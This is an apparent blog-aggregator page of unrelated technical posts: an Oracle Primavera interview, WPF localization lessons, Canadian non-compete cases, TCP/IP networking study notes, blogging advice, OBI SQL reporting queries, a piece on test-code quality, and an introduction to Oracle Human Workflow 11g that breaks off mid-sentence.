  Excerpt from PROFIT - ORACLE - by Monica Mehta Yasser Mahmud has seen a revolution in project management over the past decade. During that time, the former Primavera product strategist (who joined Oracle when his company was acquired in 2008) has not only observed a transformation in the way IT systems support corporate projects but the role project portfolio management (PPM) plays in the enterprise. “15 years ago project management was the domain of project management office (PMO),” Mahmud recalls of earlier days. “But over the course of the past decade, we've seen it transform into a mission critical enterprise discipline, that has made Primavera indispensable in the board room. Now, as a senior manager, a board member, or a C-level executive you have direct and complete visibility into what’s kind of going on in the organization—at a level of detail that you're going to consume that information.” Now serving as Oracle’s vice president of product strategy and industry marketing, Mahmud shares his thoughts on how Oracle’s Primavera solutions have evolved and how best-in-class project portfolio management systems can help businesses stay competitive. Profit: What do you feel are the market dynamics that are changing project management today? Mahmud: First, the data explosion. We're generating data at twice the rate at which we can actually store it. The same concept applies for project-intensive organizations. A lot of data is gathered, but what are we really doing with it? Are we turning data into insight? Are we using that insight and turning it into foresight with analytics tools? This is a key driver that will separate the very good companies—the very competitive companies—from those that are not as competitive. Another trend is centered on the explosion of mobile computing. By the year 2013, an estimated 35 percent of the world’s workforce is going to be mobile. That’s one billion people. So the question is not if you're going to go mobile, it’s how fast you are going to go mobile. What kind of impact does that have on how the workforce participates in projects? What worked ten to fifteen years ago is not going to work today. It requires a real rethink around the interfaces and how data is actually presented. Profit: What is the role of project management in this new landscape? Mahmud: We recently conducted a PPM study with the Economist Intelligence Unit centered to determine how important project management is considered within organizations. Our target was primarily CFOs, CIOs, and senior managers and we discovered that while 95 percent of participants believed it critical to their business, only six percent were confident that projects were delivered on time and on budget. That’s a huge gap. Most organizations are looking for efficiency, especially in these volatile financial times. But senior management can’t keep track of every project in a large organization. As a result, executives are attempting to inventory the work being conducted under their watch. What is often needed is a very high-level assessment conducted at the board level to say, “Here are the 50 initiatives that we have underway. How do they line up with our strategic drivers?” This line of questioning can provide early warning that work and strategy are out of alignment; finding the gap between what the business needs to do and the actual performance scorecard. That’s low-hanging fruit for any executive looking to increase efficiency and save money. But it can only be obtained through proper assessment of existing projects—and you need a project system of record to get that done. Over the next decade or so, project management is going to transform into holistic work management. Business leaders will want make sure key projects align with corporate strategy, but also the ability to drill down into daily activity and smaller projects to make sure they line up as well. Keeping employees from working on tasks—even for a few hours—that don’t line up with corporate goals will, in many ways, become a competitive differentiator. Profit: How do all of these market challenges and shifting trends impact Oracle’s Primavera solutions and meeting customers’ needs? Mahmud: For Primavera, it’s a transformation from being a project management application to a PPM system in the enterprise. Also making that system a mission-critical application by connecting to other key applications within the ecosystem, such as the enterprise resource planning (ERP), supply chain, and CRM systems. Analytics have also become a huge component. Business analytics have made Oracle’s Primavera applications pertinent in the boardroom. Now, as a senior manager, a board member, a CXO, CIO, or CEO, you have direct visibility into what’s going on in the organization at a level that you're able to consume that information. In addition, all of this information pairs up really well with your financials and other data. Certainly, when you're an Oracle shop, you have that visibility that you didn’t have before from a project execution perspective. Profit: What new strategies and tools are being implemented to create a more efficient workplace for users? Mahmud: We believe very strongly that just because you call something an enterprise project portfolio management system doesn’t make it so—you have to get people to want to participate in the system. This can’t be mandated down from the top. It simply doesn’t work that way. A truly adoptable solution is one that makes it super easy for all types users to participate, by providing them interfaces where they live. Keeping that in mind, a major area of development has been alternative user interfaces. This is increasingly resulting in the creation of lighter weight, targeted interfaces such as iOS applications, and smartphones interfaces such as for iPhone and Android platform. Profit: How does this translate into the development of Oracle’s Primavera solutions? Mahmud: Let me give you a few examples. We recently announced the launch of our Primavera P6 Team Member application, which is a native iOS application for the iPhone. This interface makes it easier for team members to do their jobs quickly and effectively. Similarly, we introduced the Primavera analytics application, which can be consumed via mobile devices, and when married with Oracle Spatial capabilities, users can get a geographical view of what’s going on and which projects are occurring in various locations around the world. Lastly, we introduced advanced email integration that allows project team members to status work via E-mail. This functionality leverages the fact that users are in E-mail system throughout the day and allows them to status their work without the need to launch the Primavera application. It comes back to a mantra: provide as many alternative user interfaces as possible, so you can give people the ability to work, to participate, to raise issues, to create projects, in the places where they live. Do it in such a way that it’s non-intrusive, do it in such a way that it’s easy and intuitive and they can get it done in a short amount of time. If you do that, workers can get back to doing what they're actually getting paid for.

• 5 Lessons learnt in localization / multi language support in WPF

  - by MarkPearl

  For the last few months I have been secretly working away at the second version of an application that we initially released a few years ago. It’s called MaxCut and it is a free panel/cut optimizer for the woodwork, glass and metal industry. One of the motivations for writing MaxCut was to get an end to end experience in developing an application for general consumption. From the early days of v1 of MaxCut I would get the odd email thanking me for the software and then listing a few suggestions on how to improve it. Two of the most dominant suggestions that we received were… Support for imperial measurements (the original program only supported the metric system) Multi language support (we had someone who volunteered to translate the program into Japanese for us). I am not going to dive into the Imperial to Metric support in todays blog post, but I would like to cover a few brief lessons we learned in adding support for multi-language functionality in the software. I have sectioned them below under different lessons. Lesson 1 – Build multi-language support in from the start So the first lesson I learnt was if you know you are going to do multi language support – build it in from the very beginning! One of the power points of WPF/Silverlight is data binding in XAML and so while it wasn’t to painful to retro fit multi language support into the programing, it was still time consuming and a bit tedious to go through mounds and mounds of views and would have been a minor job to have implemented this while the form was being designed. Lesson 2 – Accommodate for varying word lengths using Grids The next lesson was a little harder to learn and was learnt a bit further down the road in the development cycle. We developed everything in English, assuming that other languages would have similar character length words for equivalent meanings… don’t!. A word that is short in your language may be of varying character lengths in other languages. Some language like Dutch and German allow for concatenation of nouns which has the potential to create really long words. We picked up a few places where our views had been structured incorrectly so that if a word was to long it would get clipped off or cut out. To get around this we began using the WPF grid extensively with column widths that would automatically expand if they needed to. Generally speaking the grid replacement got round this hurdle, and if in future you have a choice between a stack panel or a grid – think twice before going for the easier option… often the grid will be a bit more work to setup, but will be more flexible. Lesson 3 – Separate the separators Our initial run through moving the words to a resource dictionary led us to make what I thought was one potential mistake. If we had a label like the following… “length : “ In the resource dictionary we put it as a single entry. This is fine until you start using a word more than once. For instance in our scenario we used the word “length’ frequently. with different variations of the word with grammar and separators included in the resource we ended up having what I would consider a bloated dictionary. When we removed the separators from the words and put them as their own resources we saw a dramatic reduction in dictionary size… so something that looked like this… “length : “ “length. “ “length?” Was reduced to… “length” “:” “?” “.” While this may not seem like a reduction at first glance, consider that the separators “:?.” are used everywhere and suddenly you see a real reduction in bloat. Lesson 4 – Centralize the Language Dictionary This lesson was learnt at the very end of the project after we had already had a release candidate out in the wild. Because our translations would be done on a volunteer basis and remotely, we wanted it to be really simple for someone to translate our program into another language. As a common design practice we had tiered the application so that we had a business logic layer, a ui layer, etc. The problem was in several of these layers we had resource files specific for that layer. What this resulted in was us having multiple resource files that we would need to send to our translators. To add to our problems, some of the wordings were duplicated in different resource files, which would result in additional frustration from our translators as they felt they were duplicating work. Eventually the workaround was to make a separate project in VS2010 with just the language translations. We then exposed the dictionary as public within this project and made it as a reference to the other projects within the solution. This solved out problem as now we had a central dictionary and could remove any duplication's. Lesson 5 – Make a dummy translation file to test that you haven’t missed anything The final lesson learnt about multi language support in WPF was when checking if you had forgotten to translate anything in the inline code, make a test resource file with dummy data. Ideally you want the data for each word to be identical. In our instance we made one which had all the resource key values pointing to a value of test. This allowed us point the language file to our test resource file and very quickly browse through the program and see if we had missed any linking. The alternative to this approach is to have two language files and swap between the two while running the program to make sure that you haven’t missed anything, but the downside of dual language file approach is that it is much a lot harder spotting a mistake if everything is different – almost like playing Where’s Wally / Waldo. It is much easier spotting variance in uniformity – meaning when you put the “test’ keyword for everything, anything that didn’t say “test” stuck out like a sore thumb. So these are my top five lessons learnt on implementing multi language support in WPF. Feel free to make any suggestions in the comments section if you feel maybe something is more important than one of these or if I got it wrong!

• A Bite With No Teeth&ndash;Demystifying Non-Compete Clauses

  - by D'Arcy Lussier

  *DISCLAIMER: I am not a lawyer and this post in no way should be considered legal advice. I’m also in Canada, so references made are to Canadian court cases. I received a signed letter the other day, a reminder from my previous employer about some clauses associated with my employment and entry into an employee stock purchase program. So since this is in effect for the next 12 months, I guess I’m not starting that new job tomorrow. I’m kidding of course. How outrageous, how presumptuous, pompous, and arrogant that a company – any company – would actually place these conditions upon an employee. And yet, this is not uncommon. Especially in the IT industry, we see time and again similar wording in our employment agreements. But…are these legal? Is there any teeth behind the threat of the bite? Luckily, the answer seems to be ‘No’. I want to highlight two cases that support this. The first is Lyons v. Multari. In a nutshell, Dentist hires younger Dentist to be an associate. In their short, handwritten agreement, a non-compete clause was written stating “Protective Covenant. 3 yrs. – 5mi” (meaning you can’t set up shop within 5 miles for 3 years). Well, the young dentist left and did start an oral surgery office within 5 miles and within 3 years. Off to court they go! The initial judge sided with the older dentist, but on appeal it was overturned. Feel free to read the transcript of the decision here, but let me highlight one portion from section [19]: The general rule in most common law jurisdictions is that non-competition clauses in employment contracts are void. The sections following [19] explain further, and discuss Elsley v. J.G. Collins Insurance Agency Ltd. and its impact on Canadian law in this regard. The second case is Winnipeg Livestock Sales Ltd. v. Plewman. Desmond Plewman is an auctioneer, and worked at Winnipeg Livestock Sales. Part of his employment agreement was that he could not work for a competitor for 18 months if he left the company. Well, he left, and took up an important role in a competing company. The case went to court and as with Lyons v. Multari, the initial judge found in favour of the plaintiffs. Also as in the first case, that was overturned on appeal. Again, read through the transcript of the decision, but consider section [28]: In other words, even though Plewman has a great deal of skill as an auctioneer, Winnipeg Livestock has no proprietary interest in his professional skill and experience, even if they were acquired during his time working for Winnipeg Livestock.  Thus, Winnipeg Livestock has the burden of establishing that it has a legitimate proprietary interest requiring protection.  On this key question there is little evidence before the Court.  The record discloses that part of Plewman’s job was to “mingle with the … crowd” and to telephone customers and prospective customers about future prospects for the sale of livestock.  It may seem reasonable to assume that Winnipeg Livestock has a legitimate proprietary interest in its customer connections; but there is no evidence to indicate that there is any significant degree of “customer loyalty” in the business, as opposed to customers making choices based on other considerations such as cost, availability and the like. So are there any incidents where a non-compete can actually be valid? Yes, and these are considered “exceptional” cases, meaning that the situation meets certain circumstances. Michael Carabash has a great blog series discussing the above mentioned cases as well as the difference between a non-compete and non-solicit agreement. He talks about the exceptional criteria: In summary, the authorities reveal that the following circumstances will generally be relevant in determining whether a case is an “exceptional” one so that a general non-competition clause will be found to be reasonable: - The length of service with the employer. - The amount of personal service to clients. - Whether the employee dealt with clients exclusively, or on a sustained or     recurring basis. - Whether the knowledge about the client which the employee gained was of a   confidential nature, or involved an intimate knowledge of the client’s   particular needs, preferences or idiosyncrasies. - Whether the nature of the employee’s work meant that the employee had   influence over clients in the sense that the clients relied upon the employee’s   advice, or trusted the employee. - If competition by the employee has already occurred, whether there is   evidence that clients have switched their custom to him, especially without   direct solicitation. - The nature of the business with respect to whether personal knowledge of   the clients’ confidential matters is required. - The nature of the business with respect to the strength of customer loyalty,   how clients are “won” and kept, and whether the clientele is a recurring one. - The community involved and whether there were clientele yet to be exploited   by anyone. I close this blog post with a final quote, one from Zvulony & Co’s blog post on this subject. Again, all of this is not official legal advice, but I think we can see what all these sources are pointing towards. To answer my earlier question, there’s no teeth behind the threat of the bite. In light of this list, and the decisions in Lyons and Orlan, it is reasonably certain that in most employment situations a non-competition clause will be ineffective in protecting an employer from a departing employee who wishes to compete in the same business. The Courts have been relatively consistent in their position that if a non-solicitation clause can protect an employer’s interests, then a non-competition clause is probably unreasonable. Employers (or their solicitors) should avoid the inclination to draft restrictive covenants in broad, catch-all language. Or in other words, when drafting a restrictive covenant – take only what you need! D

• Computer Networks UNISA - Chap 10 &ndash; In Depth TCP/IP Networking

  - by MarkPearl

  After reading this section you should be able to Understand methods of network design unique to TCP/IP networks, including subnetting, CIDR, and address translation Explain the differences between public and private TCP/IP networks Describe protocols used between mail clients and mail servers, including SMTP, POP3, and IMAP4 Employ multiple TCP/IP utilities for network discovery and troubleshooting Designing TCP/IP-Based Networks The following sections explain how network and host information in an IPv4 address can be manipulated to subdivide networks into smaller segments. Subnetting Subnetting separates a network into multiple logically defined segments, or subnets. Networks are commonly subnetted according to geographic locations, departmental boundaries, or technology types. A network administrator might separate traffic to accomplish the following… Enhance security Improve performance Simplify troubleshooting The challenges of Classful Addressing in IPv4 (No subnetting) The simplest type of IPv4 is known as classful addressing (which was the Class A, Class B & Class C network addresses). Classful addressing has the following limitations. Restriction in the number of usable IPv4 addresses (class C would be limited to 254 addresses) Difficult to separate traffic from various parts of a network Because of the above reasons, subnetting was introduced. IPv4 Subnet Masks Subnetting depends on the use of subnet masks to identify how a network is subdivided. A subnet mask indicates where network information is located in an IPv4 address. The 1 in a subnet mask indicates that corresponding bits in the IPv4 address contain network information (likewise 0 indicates the opposite) Each network class is associated with a default subnet mask… Class A = 255.0.0.0 Class B = 255.255.0.0 Class C = 255.255.255.0 An example of calculating  the network ID for a particular device with a subnet mask is shown below.. IP Address = 199.34.89.127 Subnet Mask = 255.255.255.0 Resultant Network ID = 199.34.89.0 IPv4 Subnetting Techniques Subnetting breaks the rules of classful IPv4 addressing. Read page 490 for a detailed explanation Calculating IPv4 Subnets Read page 491 – 494 for an explanation Important… Subnetting only applies to the devices internal to your network. Everything external looks at the class of the IP address instead of the subnet network ID. This way, traffic directed to your network externally still knows where to go, and once it has entered your internal network it can then be prioritized and segmented. CIDR (classless Interdomain Routing) CIDR is also known as classless routing or supernetting. In CIDR conventional network class distinctions do not exist, a subnet boundary can move to the left, therefore generating more usable IP addresses on your network. A subnet created by moving the subnet boundary to the left is known as a supernet. With CIDR also came new shorthand for denoting the position of subnet boundaries known as CIDR notation or slash notation. CIDR notation takes the form of the network ID followed by a forward slash (/) followed by the number of bits that are used for the extended network prefix. To take advantage of classless routing, your networks routers must be able to interpret IP addresses that don;t adhere to conventional network class parameters. Routers that rely on older routing protocols (i.e. RIP) are not capable of interpreting classless IP addresses. Internet Gateways Gateways are a combination of software and hardware that enable two different network segments to exchange data. A gateway facilitates communication between different networks or subnets. Because on device cannot send data directly to a device on another subnet, a gateway must intercede and hand off the information. Every device on a TCP/IP based network has a default gateway (a gateway that first interprets its outbound requests to other subnets, and then interprets its inbound requests from other subnets). The internet contains a vast number of routers and gateways. If each gateway had to track addressing information for every other gateway on the Internet, it would be overtaxed. Instead, each handles only a relatively small amount of addressing information, which it uses to forward data to another gateway that knows more about the data’s destination. The gateways that make up the internet backbone are called core gateways. Address Translation An organizations default gateway can also be used to “hide” the organizations internal IP addresses and keep them from being recognized on a public network. A public network is one that any user may access with little or no restrictions. On private networks, hiding IP addresses allows network managers more flexibility in assigning addresses. Clients behind a gateway may use any IP addressing scheme, regardless of whether it is recognized as legitimate by the Internet authorities but as soon as those devices need to go on the internet, they must have legitimate IP addresses to exchange data. When a clients transmission reaches the default gateway, the gateway opens the IP datagram and replaces the client’s private IP address with an Internet recognized IP address. This process is known as NAT (Network Address Translation). TCP/IP Mail Services All Internet mail services rely on the same principles of mail delivery, storage, and pickup, though they may use different types of software to accomplish these functions. Email servers and clients communicate through special TCP/IP application layer protocols. These protocols, all of which operate on a variety of operating systems are discussed below… SMTP (Simple Mail transfer Protocol) The protocol responsible for moving messages from one mail server to another over TCP/IP based networks. SMTP belongs to the application layer of the ODI model and relies on TCP as its transport protocol. Operates from port 25 on the SMTP server Simple sub-protocol, incapable of doing anything more than transporting mail or holding it in a queue MIME (Multipurpose Internet Mail Extensions) The standard message format specified by SMTP allows for lines that contain no more than 1000 ascii characters meaning if you relied solely on SMTP you would have very short messages and nothing like pictures included in an email. MIME us a standard for encoding and interpreting binary files, images, video, and non-ascii character sets within an email message. MIME identifies each element of a mail message according to content type. MIME does not replace SMTP but works in conjunction with it. Most modern email clients and servers support MIME POP (Post Office Protocol) POP is an application layer protocol used to retrieve messages from a mail server POP3 relies on TCP and operates over port 110 With POP3 mail is delivered and stored on a mail server until it is downloaded by a user Disadvantage of POP3 is that it typically does not allow users to save their messages on the server because of this IMAP is sometimes used IMAP (Internet Message Access Protocol) IMAP is a retrieval protocol that was developed as a more sophisticated alternative to POP3 The single biggest advantage IMAP4 has over POP3 is that users can store messages on the mail server, rather than having to continually download them Users can retrieve all or only a portion of any mail message Users can review their messages and delete them while the messages remain on the server Users can create sophisticated methods of organizing messages on the server Users can share a mailbox in a central location Disadvantages of IMAP are typically related to the fact that it requires more storage space on the server. Additional TCP/IP Utilities Nearly all TCP/IP utilities can be accessed from the command prompt on any type of server or client running TCP/IP. The syntaxt may differ depending on the OS of the client. Below is a list of additional TCP/IP utilities – research their use on your own! Ipconfig (Windows) & Ifconfig (Linux) Netstat Nbtstat Hostname, Host & Nslookup Dig (Linux) Whois (Linux) Traceroute (Tracert) Mtr (my traceroute) Route

• Blogging locally and globally–my experience

  - by DigiMortal

  In Baltic MVP Summit 2011 there was discussion about having two blogs - one for local and another for global audience – and how to publish once written information in these blogs. There are many ways how to optimize your blogging activities if you have more than one audience and here you can find my experiences, best practices and advices about this topic. My two blogs I have to working blogs: this one here technology and programming blog for local market My local blog is almost five years old and it makes it one of the oldest company blogs in Estonia. It is still active and I write there as much as I have time for it. This blog here is active since September 2007, so it is about 3.5 years old right now. Both of these blogs are  my major hits in my MVP carrier and they have very good web statistics too. My local blog My local blog is about programming, web and technology. It has way wider target audience then this blog here has. By example, in my local blog I blog also about local events, cool new concept phones, different webs providing some interesting services etc. But local guys can find there also my postings about how to solve one or another programming problem and postings about Microsoft technologies I am playing with. This far my local blog has a lot of readers for such a small country that Estonia is. This blog has made me a lot of cool contacts and I have had there a lot of interesting discussions about different technical topics. Why I started this blog? Living in small country is different than living in big country. In small country you have less people and therefore smaller audience so you have to target more than one technical topic to find enough readers. In a same time you are still interested in your main topics and you want to reach to more people who are sharing same interests with you. Practically one day y will grow out from local market and you go global. This is how this blog was born. Was it worth to create, promote and mess with it? Every second I have put on my time to this blog has been worth of it. Thanks to this blog I have found new good friends and without them I think it is more boring to work on different problems and solutions. Defining target audiences One thing you should always do when having more than one blog is defining target audiences. If you are just technomaniac interested in sharing your stuff and make some new friends and have something to write to your MVP nomination form then you don’t have to go through complex targeting process. You can do it simple way and same effectively. Here is how I defined target audiences to my blogs: local blog – reader of my local blog is IT professional, software developer, technology innovator or just some guy who is interested in technology,   this blog – reader of this blog is experienced professional software developer who works on Microsoft technologies or software developer who is open minded and open to new technologies and interesting solutions to development problems. You can see how local blog – due to small market with less people – has wider definition for audience while this blog is heavily targeted to Microsoft technologies and specially to software development. On practical side these decisions are also made well I think because it is very hard to build up popular common IT blog. On global level it is better to target some specific niche and find readers who are professionals on your favorite topics. Thanks to this blog I have found new friends who are professional developers and I am very happy about all the discussions I have had with them. Publishing content to different blogs My local blog and this blog have some overlapping topics like .NET, databases and SEO. Due to this overlapping there is question: when I write posting to my local blog then should I have to publish same thing in my global blog? And if I write something to my global blog then should I publish same thing also in my local blog? Well, it really depends on the definition of your target audiences. If they match then of course it is good idea to translate you post and publish it also to another blog. But if you have different audiences then you may need to modify your posting before publishing it. The questions you have to answer are: is target audience interested in this topic? is target audience expecting more specific and deeper handling of this topic or are they expecting more general handling of topic? is the problem you are discussing actual for target audience or not? You have to answer these questions and after that make your decision. If you need to modify your original posting then take some time and do it. Provide quality to all your readers because they will respect you if you respect them. Cross-posting and referencing It is tempting to save time that preparing some blog post takes and if you have are done with posting in one blog it may seem like good idea to make short posting to another blog and add reference to first one where topic is discussed longer. Well, don’t do it – all your readers expect good quality content from you and jumping from one blog post to another is disturbing for them. Of course, there is problem with differences between target audiences. You may have wider target audience and some people may be interested in more specific handling of topic. In this case feel free to refer your blog you are writing in english. This is not working very well in opposite direction because almost all my global blog readers understand english but not estonian. By example, estonian language is complex one and online translating tools make very poor translations from estonian language. This is why I don’t even plan to publish postings here that refer to my local blog for more information. I am keeping these two blogs as two different worlds and if there is posting that fits well to both blogs I will write my posting to one blog and then answer previous three questions before posting same thing to another blog. Conclusion Growing out of your local market is not anything mysterious if you are living in small country. As it is harder to find people there who are interested in same topics with you then sooner or later you will start finding these new contacts from global audience. Global audience is bigger and to be visible there you must provide high quality content to your audience. It is something you will learn over time and you will learn every day something new when you are posting to your global blog. You may ask: if global blog is much more complex thing to do then is it worth to do at all? My answer is: yes, do it for sure. It is not easy thing to do when you start but if you work on your global blog and improve it over time you will get over all obstacles pretty soon. Just don’t forget one thing – content is king and your readers expect high quality from you.

• Why Does Adding a UDF or Code Truncates the # of Resources in List?

  - by Jeffrey McDaniel

  Go to the Primavera - Resource Assignment History subject area.  Go under Resources, General and add fields Resource Id, Resource Name and Current Flag. Because this is using a historical subject area with Type II slowly changing dimensions for Resources you may get multiple rows for each resource if there have been any changes on the resource.  You may see a few records with current flags = 0, and you will see a row with current flag = 1 for all resources. Current flag = 1 represents this is the most up to date row for this resource.  In this query the OBI server is only querying the W_RESOURCE_HD dimension.  (Query from nqquery log) select distinct 0 as c1,      D1.c1 as c2,      D1.c2 as c3,      D1.c3 as c4 from       (select distinct T10745.CURRENT_FLAG as c1,                T10745.RESOURCE_ID as c2,                T10745.RESOURCE_NAME as c3           from                 W_RESOURCE_HD T10745 /* Dim_W_RESOURCE_HD_Resource */            where  ( T10745.LAST_RUN_PER_DAY_FLAG = 1 )       ) D1 If you add a resource code to the query now it is forcing the OBI server to include data from W_RESOURCE_HD, W_CODES_RESOURCE_HD, as well as W_ASSIGNMENT_SPREAD_HF. Because the Resource and Resource Codes are in different dimensions they must be joined through a common fact table. So if at anytime you are pulling data from different dimensions it will ALWAYS pass through the fact table in that subject areas. One rule is if there is no fact value related to that dimensional data then nothing will show. In this case if you have a list of 100 resources when you query just Resource Id, Resource Name and Current Flag but when you add a Resource Code the list drops to 60 it could be because those resources exist at a dictionary level but are not assigned to any activities and therefore have no facts. As discussed in a previous blog, its all about the facts.   Here is a look at the query returned from the OBI server when trying to query Resource Id, Resource Name, Current Flag and a Resource Code.  You'll see in the query there is an actual fact included (AT_COMPLETION_UNITS) even though it is never returned when viewing the data through the Analysis. select distinct 0 as c1,      D1.c2 as c2,      D1.c3 as c3,      D1.c4 as c4,      D1.c5 as c5,      D1.c1 as c6 from       (select sum(T10754.AT_COMPLETION_UNITS) as c1,                T10706.CODE_VALUE_02 as c2,                T10745.CURRENT_FLAG as c3,                T10745.RESOURCE_ID as c4,                T10745.RESOURCE_NAME as c5           from                 W_RESOURCE_HD T10745 /* Dim_W_RESOURCE_HD_Resource */ ,                W_CODES_RESOURCE_HD T10706 /* Dim_W_CODES_RESOURCE_HD_Resource_Codes_HD */ ,                W_ASSIGNMENT_SPREAD_HF T10754 /* Fact_W_ASSIGNMENT_SPREAD_HF_Assignment_Spread */            where  ( T10706.RESOURCE_OBJECT_ID = T10754.RESOURCE_OBJECT_ID and T10706.LAST_RUN_PER_DAY_FLAG = 1 and T10745.ROW_WID = T10754.RESOURCE_WID and T10745.LAST_RUN_PER_DAY_FLAG = 1 and T10754.LAST_RUN_PER_DAY_FLAG = 1 )            group by T10706.CODE_VALUE_02, T10745.RESOURCE_ID, T10745.RESOURCE_NAME, T10745.CURRENT_FLAG      ) D1 order by c4, c5, c3, c2 When querying in any subject area and you cross different dimensions, especially Type II slowly changing dimensions, if the result set appears to be short the first place to look is to see if that object has associated facts.

• “It’s only test code…”

  - by Chris George

  “Let me hack this in, it’s only test code”, “Don’t worry about getting it reviewed, it’s only test code”, “It doesn’t have to be elegant or efficient, it’s only test code”… do these phrases sound familiar? Chances are if you’ve working with test automation, at one point or other you will have heard these phrases, you have probably even used them yourself! What is certain is that code written under this “it’s only test code” mantra will come back and bite you in the arse! I’ve recently encountered a case where a test was giving a false positive, therefore hiding a real product bug because that test code was very badly written. Firstly it was very difficult to understand what the test was actually trying to achieve let alone how it was doing it, and this complexity masked a simple logic error. These issues are real and they do happen. Let’s take a step back from this and look at what we are trying to do. We are writing test code that tests product code, and we do this to create a suite of tests that will help protect our software against regressions. This test code is making sure that the product behaves as it should by employing some sort of expected result verification. The simple cases of these are generally not a problem. However, automation allows us to explore more complex scenarios in many more permutations. As this complexity increases then so does the complexity of the test code. It is at this point that code which has not been architected properly will cause problems.   Keep your friends close… So, how do we make sure we are doing it right? The development teams I have worked on have always had Test Engineers working very closely with their Software Engineers. This is something that I have always tried to take full advantage of. They are coding experts! So run your ideas past them, ask for advice on how to structure your code, help you design your data structures. This may require a shift in your teams viewpoint, as contrary to this section title and folklore, Software Engineers are not actually the mortal enemy of Test Engineers. As time progresses, and test automation becomes more and more ingrained in what we do, the two roles are converging more than ever. Over the 16 years I have spent as a Test Engineer, I have seen the grey area between the two roles grow significantly larger. This serves to strengthen the relationship and common bond between the two roles which helps to make test code activities so much easier!   Pair for the win Possibly the best thing you could do to write good test code is to pair program on the task. This will serve a few purposes. you will get the benefit of the Software Engineers knowledge and experience the Software Engineer will gain knowledge on the testing process. Sharing the love is a wonderful thing! two pairs of eyes are always better than one… And so are two brains. Between the two of you, I will guarantee you will derive more useful test cases than if it was just one of you.   Code reviews Another policy which certainly pays dividends is the practice of code reviews. By having one of your peers review your code before you commit it serves two purposes. Firstly, it forces you to explain your code. Just the act of doing this will often pick up errors in your code. Secondly, it gets yet another pair of eyes on your code! I cannot stress enough how important code reviews are. The benefits they offer apply as much to product code as test code. In short, Software and Test Engineers should all be doing them! It can be extended even further by getting test code reviewed by a Software Engineer and a Test Engineer, and likewise product code. This serves to keep both functions in the loop with changes going on within your code base.   Learn from your devs I briefly touched on this earlier but I’d like to go into more detail here. Pairing with your Software Engineers when writing your test code is such an amazing opportunity to improve your coding skills. As I sit here writing this article waiting to be called into court for jury service, it reminds me that it takes a lot of patience to be a Test Engineer, almost as much as it takes to be a juror! However tempting it is to go rushing in and start writing your automated tests, resist that urge. Discuss what you want to achieve then talk through the approach you’re going to take. Then code it up together. I find it really enlightening to ask questions like ‘is there a better way to do this?’ Or ‘is this how you would code it?’ The latter question, especially, is where I learn the most. I’ve found that most Software Engineers will be reluctant to show you the ‘right way’ to code something when writing tests because they perceive the ‘right way’ to be too complicated for the Test Engineer (e.g. not mentioning LINQ and instead doing something verbose). So by asking how THEY would code it, it unleashes their true dev-ness and advanced code usually ensues! I would like to point out, however, that you don’t have to accept their method as the final answer. On numerous occasions I have opted for the more simple/verbose solution because I found the code written by the Software Engineer too advanced and therefore I would find it unreadable when I return to the code in a months’ time! Always keep the target audience in mind when writing clever code, and in my case that is mostly Test Engineers.

• Introduction to Human Workflow 11g

  - by agiovannetti

  Human Workflow is a component of SOA Suite just like BPEL, Mediator, Business Rules, etc. The Human Workflow component allows you to incorporate human intervention in a business process. You can use Human Workflow to create a business process that requires a manager to approve purchase orders greater than $10,000; or a business process that handles article reviews in which a group of reviewers need to vote/approve an article before it gets published. Human Workflow can handle the task assignment and routing as well as the generation of notifications to the participants. There are three common patterns or usages of Human Workflow: 1) Approval Scenarios: manage documents and other transactional data through approval chains . For example: approve expense report, vacation approval, hiring approval, etc. 2) Reviews by multiple users or groups: group collaboration and review of documents or proposals. For example, processing a sales quote which is subject to review by multiple people. 3) Case Management: workflows around work management or case management. For example, processing a service request. This could be routed to various people who all need to modify the task. It may also incorporate ad hoc routing which is unknown at design time. SOA 11g Human Workflow includes the following features: Assignment and routing of tasks to the correct users or groups. Deadlines, escalations, notifications, and other features required for ensuring the timely performance of a task. Presentation of tasks to end users through a variety of mechanisms, including a Worklist application. Organization, filtering, prioritization and other features required for end users to productively perform their tasks. Reports, reassignments, load balancing and other features required by supervisors and business owners to manage the performance of tasks. Human Workflow Architecture The Human Workflow component is divided into 3 modules: the service interface, the task definition and the client interface module. The Service Interface handles the interaction with BPEL and other components. The Client Interface handles the presentation of task data through clients like the Worklist application, portals and notification channels. The task definition module is in charge of managing the lifecycle of a task. Who should get the task assigned? What should happen next with the task? When must the task be completed? Should the task be escalated?, etc Stages and Participants When you create a Human Task you need to specify how the task is assigned and routed. The first step is to define the stages and participants. A stage is just a logical group. A participant can be a user, a group of users or an application role. The participants indicate the type of assignment and routing that will be performed. Stages can be sequential or in parallel. You can combine them to create any usage you require. See diagram below: Assignment and Routing There are different ways a task can be assigned and routed: Single Approver: task is assigned to a single user, group or role. For example, a vacation request is assigned to a manager. If the manager approves or rejects the request, the employee is notified with the decision. If the task is assigned to a group then once one of managers acts on it, the task is completed. Parallel : task is assigned to a set of people that must work in parallel. This is commonly used for voting. For example, a task gets approved once 50% of the participants approve it. You can also set it up to be a unanimous vote. Serial : participants must work in sequence. The most common scenario for this is management chain escalation. FYI (For Your Information) : task is assigned to participants who can view it, add comments and attachments, but can not modify or complete the task. Task Actions The following is the list of actions that can be performed on a task: Claim : if a task is assigned to a group or multiple users, then the task must be claimed first to be able to act on it. Escalate : if the participant is not able to complete a task, he/she can escalate it. The task is reassigned to his/her manager (up one level in a hierarchy). Pushback : the task is sent back to the previous assignee. Reassign :if the participant is a manager, he/she can delegate a task to his/her reports. Release : if a task is assigned to a group or multiple users, it can be released if the user who claimed the task cannot complete the task. Any of the other assignees can claim and complete the task. Request Information and Submit Information : use when the participant needs to supply more information or to request more information from the task creator or any of the previous assignees. Suspend and Resume :if a task is not relevant, it can be suspended. A suspension is indefinite. It does not expire until Resume is used to resume working on the task. Withdraw : if the creator of a task does not want to continue with it, for example, he wants to cancel a vacation request, he can withdraw the task. The business process determines what happens next. Renew : if a task is about to expire, the participant can renew it. The task expiration date is extended one week. Notifications Human Workflow provides a mechanism for sending notifications to participants to alert them of changes on a task. Notifications can be sent via email, telephone voice message, instant messaging (IM) or short message service (SMS). Notifications can be sent when the task status changes to any of the following: Assigned/renewed/delegated/reassigned/escalated Completed Error Expired Request Info Resume Suspended Added/Updated comments and/or attachments Updated Outcome Withdraw Other Actions (e.g. acquiring a task) Here is an example of an email notification: Worklist Application Oracle BPM Worklist application is the default user interface included in SOA Suite. It allows users to access and act on tasks that have been assigned to them. For example, from the Worklist application, a loan agent can review loan applications or a manager can approve employee vacation requests. Through the Worklist Application users can: Perform authorized actions on tasks, acquire and check out shared tasks, define personal to-do tasks and define subtasks. Filter tasks view based on various criteria. Work with standard work queues, 